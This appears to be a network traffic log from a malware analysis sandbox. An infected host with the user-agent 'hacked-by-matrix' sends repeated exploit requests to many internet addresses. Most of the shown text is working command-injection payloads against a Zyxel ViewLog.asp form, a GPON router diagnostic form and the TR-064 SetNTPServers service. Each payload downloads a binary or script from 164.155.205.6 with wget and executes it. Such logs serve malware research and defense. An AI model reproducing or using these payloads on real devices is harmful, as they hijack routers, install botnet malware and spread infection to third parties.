Mar 2, 2024 12:38:21.701189041 CET	986	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:21 GMT Server: Apache/2.4.51 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 32 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 34 31 2e 37 31 2e 36 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.51 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:21 GMTServer: Apache/2.4.51 (Debian)Content-Length: 304Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.51 (Debian) Server at 185.41.71.62 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1460	192.168.2.23	59878	178.168.48.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.527952909 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:21.762187004 CET	313	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1461	192.168.2.23	34424	82.139.183.230	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.701049089 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:21.893038034 CET	1005	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 32 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 69 61 73 6b 6f 77 6e 69 63 61 6d 6f 6f 64 6c 65 2e 75 63 69 2e 70 62 2e 65 64 75 2e 70 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:21 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 323Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at piaskownicamoodle.uci.pb.edu.pl Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1462	192.168.2.23	59478	109.6.38.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:22.173804045 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1463	192.168.2.23	45898	42.56.171.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:22.173805952 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1464	192.168.2.23	53424	50.107.81.201	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:22.260551929 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:22.907177925 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1465	192.168.2.23	51614	190.96.189.201	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:22.302050114 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:23.291043997 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1466	192.168.2.23	47652	85.122.151.77	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:22.506222963 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:29.144506931 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:36.822979927 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:37.025492907 CET	259	IN	HTTP/1.1 501 Not Implemented Connection: Keep-Alive Content-Length: 121 Date: Sat, 02 Mar 2024 11:38:13 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1467	192.168.2.23	57346	63.228.108.46	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:23.310214996 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1468	192.168.2.23	54700	178.75.20.211	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:23.359375954 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:24.536691904 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:25.912506104 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:28.890954018 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:29.108874083 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 14:38:27 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1469	192.168.2.23	36118	118.49.95.170	7547

Timestamp	Bytes transferred	Direction	Data
